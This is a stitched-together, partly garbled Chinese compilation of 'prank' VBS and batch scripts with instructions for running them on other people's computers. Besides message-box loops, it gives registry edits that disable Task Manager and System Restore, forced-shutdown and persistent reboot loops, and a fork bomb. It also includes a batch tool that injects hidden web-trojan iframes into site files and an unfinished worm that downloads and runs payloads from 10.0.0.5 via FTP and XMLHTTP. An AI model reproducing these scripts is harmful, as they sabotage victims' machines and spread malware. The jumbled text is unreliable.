整人电脑代码修订稿
VB代码(整人,实用。几个有趣的希望有帮助!!)
使用方法：新建一个txt文本文档。
然后把拓展名改成".vbs"的格式。
然后右键编辑，把代码复制进去，ok！！！1.整死你啊！！！此代码锁定了任务管理器，想关闭只有重新启动电脑，恶搞你的好友，或者骚扰你Private Sub Form_Load()Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1For m = 1 To 999MsgBox "呵呵，你知道我是谁吗？", 16MsgBox "什么？？不知道？", 16MsgBox "那你打开我干什么？", 16MsgBox "你有空没事做吧？！", 16MsgBox "我..就是鼎鼎大名的987876198", 16MsgBox "987876198..", 16MsgBox "现在你把它打开了觉得后悔了吧？呵呵..", 16MsgBox "算了算了，不玩你了", 16MsgBox "现在我数3声就闪人,行了吧?", 16MsgBox "1.............", 16MsgBox "2.............", 16MsgBox "3.............", 16MsgBox "噔噔噔噔,我又回来了！", 16MsgBox "哈哈，是不是很过瘾呢？", 16MsgBox "现在我先介绍下自己..", 16MsgBox "我叫王得地..", 16MsgBox "性别：男..", 16MsgBox "今年35岁..", 16MsgBox "不好意思噢，我好像说多了..", 16MsgBox "不要这样喇，听我说完先好不？", 16MsgBox "来来来，开始喇..", 16MsgBox "我叫王得地..", 16MsgBox "家中有屋又有田..", 16MsgBox "生活乐无边..", 16MsgBox "好像我又说多了...", 16MsgBox "不要生气嘛，你认真看下去我就放你走..", 16MsgBox "好，开始喇..", 16MsgBox "从前有座山..", 16MsgBox "山里有个座庙..", 16MsgBox "庙里有个和尚..", 16MsgBox "哈哈，想哭吗？", 16MsgBox "被骗的感觉不爽吧？", 16MsgBox "喂喂喂！别别..千万别重启电脑", 16MsgBox "我告诉你怎么关吧", 16MsgBox "先打开任务管理器", 16MsgBox "忘了告诉你了，任务管理器打不开了", 16MsgBox "别恨我啊你不小心", 16MsgBox "电脑重新启动吧", 16MsgBox "相信我吧,你知道我是不会骗人的", 16MsgBox "如果你还想继续点的话,你就别听我的", 16MsgBox "呵呵,我又没有说这个东西没有", 16MsgBox "我只想说桌面没有罢了..", 16MsgBox "嘻嘻,爽不爽吖?", 16MsgBox "对着电脑屏幕大声说低调大好人", 16MsgBox "不然,我就没办法的咯", 16MsgBox "因为我把循环设置成99了", 16MsgBox "想保存电脑数据只有继续点了", 16MsgBox "绝对会出到去的", 16MsgBox "好了,废话不多说了,祝你好运..", 16MsgBox "制作:低调不倒", 16MsgBox "QQ：987876198", 16MsgBox "E-mail:不告诉你", 16MsgBox "好,继续循环..", 16NextEnd Sub·······················································2.满屏小雪花这是我以前写的小程序让整个屏幕雪花飘飘的改进，本程序是一个模拟下雪的小程序：大小不同随风飘荡的雪花从屏幕上方不断落下，飘满整个屏幕。
教大家一个恶搞别人电脑的小程序
1.首先一个【新建文本文档】2.打开，输入以下内容：@echo offEG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Disableregistrytools /t REG_DWORD /d 00000001 /fREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000001 /freg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v restrictrun /t reg_dword /d 00000001 /freg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v notraycontextmenu /t reg_dword /d 00000001 /freg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v noviewcontextmenu /t reg_dword /d 00000001 /freg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore /V DisableSR /t reg_dword /d 00000001 /fREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoFolderOptions /t REG_dword /d 00000001 /freg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v nocontrolpanel /t reg_dword /d 00000001 /freg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d taskkill /f /im thunder.exetaskkill /f /im QQ.exetaskkill /f /im QQMusic.exetaskkill /f /im QQLive.exetaskkill /f /im Stormtray.exetaskkill /f /im QvodTerminal.exetaskkill /f /im QvodPlayer.exetaskkill /f /im SogouInput.exetaskkill /f /im iexplore.exefor /l %%i in (1,1,50) do start IEXPLORE.EXEShutdown -s -t 603.输入完毕之后，点击【文件】-【另存为】-把【保存类型】改为【所有文件】，把【文件名】改为【恶搞小程序.bat】记住一定要把文件的后缀名加上【bat】好了，制作完毕了。
愚人节整人代码
竭诚为您提供优质文档/双击可除愚人节整人代码篇一：整人病毒代码前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。
ps：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。
一、怎么点都没反应的桌面如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。
把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。
他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开机中附带：print键截屏方法：键盘右上方的“printscreensysRq”键的作用是屏幕抓图！用法一，按“printscreensysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。
用法二，先按住“Alt”键，再按“printscreensysRq”键，则是对当前窗口进行抓图。
如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。
用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。
哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！二、让电脑硬盘消失－隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！步骤1.新建一个记事本2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中：windowsRegistryeditorVersion5.00[hKeY_cuRRenT_useR\software\microsoft\windows\curre ntVersion\policies\explorer]"noDrives"=hex:08,00,00 ,00解释（1）"noDrives"=hex:08,00,00,00这个键值是隐藏D 盘的图中的D盘已经神秘消失了。
bat整人电脑病毒代码是怎样的
三一文库（）〔bat整人电脑病毒代码是怎样的〕*篇一：一些bat恶搞代码第一个:让别人内存OVER(逼他重启)@echooffstartcmd%0就这3行了第二个:让对方重启指定次数(害人专用)@echooffifnotexistc:\1.txtecho.c:\1.txtgotoerr1 ifnotexistc:\2.txtecho.c:\2.txtgotoerr1 ifnotexistc:\3.txtecho.c:\3.txtgotoerr1 ifnotexistc:\4.txtecho.c:\4.txtgotoerr1 ifnotexistc:\5.txtecho.c:\5.txtgotoerr1gotoerr2:err1shutdown-s-t0:err2上面可以让对方电脑重启5次后不在重启第三个:自动踢人(3389肉机保护自己专用)@echoofflogoff1dellog.batlogoff后面的1改成自己登陆的ID号,用queryuser查看第四个:批量自动溢出@for/f%%iin(result.txt)do42%%i58.44.89.158521先自己用NC监听端口,多开几个,然后指行,就自动溢出了第五个:自动挂马改主页@echooffclsrem直接打批处理名字就有帮助title批量挂马,改首页(伤脑筋QQ:447228437).colorAsetpan=%1setye=%2setdai=%3if"%pan%"==""gotoe1if"%ye%"==""gotoe1if"%dai%"==""gotoe1if"%dai%"=="htm.txt"gotou1forfiles/p%pan%/m%ye%/s/c"cmd/cif@isdir==FALSEecho^ iframesrc=":%dai%"width="0"height="0"frameborder="0 "^@path"echo.echo代码全部插入完毕echo.pausegotoe1:u1echo您现在的操作将使%pan%盘下,全部名为%ye%的内容变为您要更改的内容.echo这将是非常危险的,您真的要这样做?回车却认,Ctrl+c取消操作.pauseforfiles/p%pan%/m%ye%/s/c"cmd/cif@isdir==FALSEcopy% 1\htm.txt@path/y"echo.echo首页全部更改完必如果您发现没有替换成功,请将%ye%文件只读属性去掉.echo.pause:e1echo.echo本批处理只适用于2003系统,其他系统要使用,请将forfiles.exe拷贝至系统盘system32目录下echo用法:snj^搜索盘符^^文件名^^网马地址^echo例子:snjd:\index.asp/mm.htmecho批处理将自动添加^iframe^标记echo.echo如果您要更改全部网站的首页!请在批处理文件所在目录下,新建一个名为htm.txt的文本文件.echo然后将要更改的代码加COPY到里面保存.然后将命令的^网马地址^项输入为htm.txt即可.echo例子:snjd:\index.asphtm.txtecho.echo为了能准确无误执行批处理请最好先把记事本的"自动换行功能去掉",让命令保持在一行才能正确执行.echo.echo使用此批处理造成一切后果本人概不负责,请大家谨慎使用!echo.第六个:利用批处理编写利用系统漏洞传播的蠕虫病毒本来想写完后在做教程,要去学校了,所以先把思路告诉大家,大家可以先自己写写,我有时间写完发到群里.这些是我未完成的批处理,大家可以在此基础上按照我下面说的思路继续写完delc:\42.exedelc:\nc.exedelc:\ip.exeechodimwsh%systemroot%\help\test.vbsechosetwsh=CreateObject("WScript.Shell")%systemroot%\help\ test.vbsechowsh.run"cmd/c%systemroot%\help\nc-v-l-p 810%systemroot%\help\or.txt",0%systemroot%\help\te st.vbsechodimwsh%systemroot%\help\test2.vbsechosetwsh=CreateObject("WScript.Shell")%systemroot%\help\ test2.vbsechowsh.run"cmd/cstart%systemroot%\help\good.bat",0%systemroot%\help\test2.vbsechoopen10.0.0.5%systemroot%\help\ftp.txt echoopenmyyes%systemroot%\help\ftp.txtecho1%systemroot%\help\ftp.txtechobinary%systemroot%\help\ftp.txtechoget42.exec:\42.exe%systemroot%\help\ftp.txt echogetnc.exec:\nc.exe%systemroot%\help\ftp.txt echogetip.exec:\ip.exe%systemroot%\help\ftp.txt echobye%systemroot%\help\ftp.txtechoechoSetxPost=CreateObject("Microsoft.XMLHTTP") ^1.vbs%systemroot%\help\or.txtechoechoxPost.Open"GET",":10.0.0.5/my.exequo...,0 ^^1.vbs%systemroot%\help\or.txtechoechoxPost.Send()^^1.vbs%systemroot%\help\or.txt echoechoSetsGet=CreateObject("ADODB.Stream")^^1.vbs%systemroot%\help\or.txtechoechosGet.Mode=3^^1.vbs%systemroot%\help\or.txte choechosGet.Type=1^^1.vbs%systemroot%\help\or.txtec hoechosGet.Write(xPost.responseBody)^^1.vbs%systemroot%\help\or.txtechoechosGet.SaveToFile"d:\my.exe",2^^1.vbs%systemroot%\help\or.txtechoecho1.vbs^^1.vbs%systemroot%\help\or.txtechoechomy.exe^^1.vbs%systemroot%\help\or.txtechoWindowsRegistryEditorVersion5.00%systemroot%\he lp\1.regecho[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run]%systemroot%\help\1.regecho"SKYNETPersonalFireWall"="F:\\系统安全工具\\FireWall\\PFW.exe"%systemroot%\help\1.regecho"1"="%systemroot%\\help\\test2.vbs"%systemroot% \help\1.regifnotexist%systemroot%\help\good.batcopygood.bat%systemroot%\help\good.bat%systemroot%\help \test2.vbsdelgood.batregedit-s%systemroot%\help\1.regftp-s:%systemroot%\help\ftp.txtmovec:\nc.exe%systemroot%\help\/ymovec:\42.exe%systemroot%\help\/ymovec:\ip.exe%systemroot%\help\/y%systemroot%\help\test.vbsremfor/f%%iin(result1.txt)doseta=%%iremfor/f%%jin(result.txt)do42%a%%%j810准备:1:找一个反向连接的溢出攻击程序,如ms06040漏洞2:找呀一个免费FTP空间,最好是送域名的3:利用你所知道的高级语言编写一个,能生成随机范围IP地址和找到本机IP的工具.思路:用for语句对指定文本里的IP进行溢出,然后用if语句判断是否溢出成功,如果成功开启一个NC监听端口,NC后面带一个输入符号输入的内容为下载本批处理文件,然后执行这个批处理.这样被溢出的机器就又会在他那里运行我门的批处理,从而到自动传播的目的.把批处理生成的文件集中放到一个目录下,可以%systemroot%系统变量直接放到系统目录下因为批处理运行后会闪出命令行窗口,我门可以利用VBS脚本来运行我们的批处理,这样就不会有任何窗口出现,脚本如下echodimwsh%systemroot%\help\test.vbsechosetwsh=CreateObject("WScript.Shell")%systemroot%\help\ test.vbsechowsh.run"cmd/c%systemroot%\help\nc-v-l-p 810%systemroot%\help\or.txt",0%systemroot%\help\te st.vbs生成随机IP工具的VB代码PrivateSubForm_Load()DimfsoAsNewFileSystemObjectDima,b,c,dAsIntegerDimph,eAsStringph=App.Path"\""ip.txt"Randomizea=Int(253*Rnd+1)b=Int(253*Rnd+1)c=Int(240*Rnd+1)OpenphForOutputAs#1Fori=cToc+7Forj=1To254e=a"."b"."i"."jPrint#1,eDoEventsNextjNextiClose#1UnloadMeEndSub*篇二：整人“病毒”代码(一)发表于2013-10-2310:33前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。
整人电脑代码
第一个:让别人内存OVER(逼他重启)@echo offstart cmd%0就这3行了打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第二个:让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1if not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第三个:善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，结束任务都不行，他只能说他是猪才能解决问题。
一些整人的批处理代码
@ echo off
copy %~s0 /b "%USERPROFILE%\「开始」菜单\程序\启动" /b
md 01
copy %~s0 /b 01 /b
start 01\%~n0%~x0
exit
2：马上重启《一直循坏》
@echo off shutdown -r -t 3 copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat copy %0 c:\autoexec.bat REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Rexec.bat /f attrib autoexec.bat +r +s +h REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f del %0
3：立刻死机
@echo off for /l %%i in (0,1,254) do start %%i 第十一组:乱加硬盘分区及解决 @echo off echo 请稍等......正在为你加硬盘分区.................. md d:\fly >nul 2>nul set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z for %%a in (%a%) do subst %%a: d:\fly >nul 2>nul echo\ echo 打开＂我的电脑＂看看.........够不够用呀.......... ping 127.1 -n 5 >nul exit 修复: @echo off&color 1e title 请稍等......正在为你还原硬盘分区.................. set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
C语言整人代码大全
C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉,这你都不知道吗?")顶举报| 2011-06-01 20:46回复菊花爆开电白自学2楼WScript.Echo("怎么才来,说~是不是不关心我")WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。
")WScript.Echo("小强很生气,后果很严重哦。
")WScript.Echo("嘿嘿!你也会很惨滴哦")WScript.Echo("是不是想清除我?")WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦")WScript.Echo("还剩48下,快点,小笨蛋!")WScript.Echo("还剩47下对,就这样快点点!")WScript.Echo("还剩46下。
你啊就是笨,要快哦,我先不打扰你工作。
")WScript.Echo("还剩45下,记得要快哦!")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩33下")WScript.Echo("还剩32下")WScript.Echo("还剩30下")WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下")WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。
C语言整人程序代码大全
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
ws.run"iexplore.exe //infocenter"
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
整人电脑代码Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】第一个:让别人内存O V E R(逼他重启) @offstart cmd%0就这3行了打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第二个:让对方重启指定次数(害人专用)@offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1if not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第三个:善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，结束任务都不行，他只能说他是猪才能解决问题。
够坏吧？注意哦，你可以把我是猪那个修改成任意想说的话，要是对付你喜欢的人，就修改成我爱你这样他只有说我爱你之后才不关闭计算机哦也可以把时间修改为20?就是说打开了20秒就关了,还没等对方打完就关机了是不是叫对方很郁闷呢第四个:让人崩溃的关机程序首先你可以看下面的WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)WScript.Echo("你是可爱的XX童鞋吗")WScript.Echo("哈,我想你拉，这你都不知道吗？")WScript.Echo("怎么才来，说~是不是不关心我")WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。
")WScript.Echo("夜黑很生气，后果很严重哦。
")WScript.Echo("嘿嘿！你也会很惨滴哦")WScript.Echo("是不是想清除我？")WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")WScript.Echo("还剩49下，快点点哦")WScript.Echo("还剩48下，快点，小笨蛋！")WScript.Echo("还剩47下对，就这样快点点！")WScript.Echo("还剩46下。
你啊就是笨，要快哦，我先不打扰你工作。
") WScript.Echo("还剩45下，记得要快哦！")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩33下")WScript.Echo("还剩32下")WScript.Echo("还剩30下")WScript.Echo("还剩29下")WScript.Echo("还剩28下")WScript.Echo("还剩27下")WScript.Echo("还剩26下")WScript.Echo("还剩25下")WScript.Echo("还剩24下")WScript.Echo("还剩23下")WScript.Echo("还剩22下")WScript.Echo("还剩21下")WScript.Echo("还剩20下")WScript.Echo("还剩19下")WScript.Echo("还剩18下")WScript.Echo("还剩17下")WScript.Echo("还剩16下")WScript.Echo("还剩15下")WScript.Echo("还剩14下")WScript.Echo("还剩13下停停！！！慢点，我有话要说")WScript.Echo("还剩12下，你继续点我就会消失滴")WScript.Echo("还剩11下，以后就看不到我拉。
呜呜~555555")WScript.Echo("还剩10下，你现在可以选择停止！")WScript.Echo("还剩9下。
你还点啊，不要我拉？")WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")WScript.Echo("还剩7下。
疯了，你有点负意！")WScript.Echo("还剩6下。
对。
你就点吧，我恨你！")WScript.Echo("还剩5下，不明白，删除我你就好吗？")WScript.Echo("还剩4下！真要删除我？")WScript.Echo("还剩3下。
可是我真的很眷恋你。
")WScript.Echo("还剩2下。
不要这么绝情嘛，人家是爱你的！")WScript.Echo("还剩1下。
哼，既然你这么绝情。
也别怪我无义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，万能的上帝又给了一次机会。
")WScript.Echo("想结束我么那你就再多点一次")WScript.Echo("想结束我么那你就再多点一次")WScript.Echo("想结束我么那你就再多点一次")WScript.Echo("想结束我么那你就再多点一次")WScript.Echo("想结束我么那你就再多点一次")WScript.Echo("想结束我么那你就再多点一次")WScript.Echo("想结束我么那你就再多点一次")WScript.Echo("想结束我么那你就再多点一次")WScript.Echo("想结束我么那你就再多点一次")WScript.Echo("想结束我么那你就再多点一次")把这个复制在记事本,把后缀修改成.vbs在打开呢就会先说第一句的嘿，谢谢你打开我哦，我等你很久拉！他无论是点关闭或者是点确定都会再说第2句再点就说地3句会按顺序说完你们注意哦，最后10句话，只是10句，你要是把这个复制再粘贴N次，那他还有个打完呢？这样才做到整人了，要是给喜欢的人发去啊，那就写你要说的话吧，双引号里面的可以随便更改这个最简单的就是结束任务进程来结束它。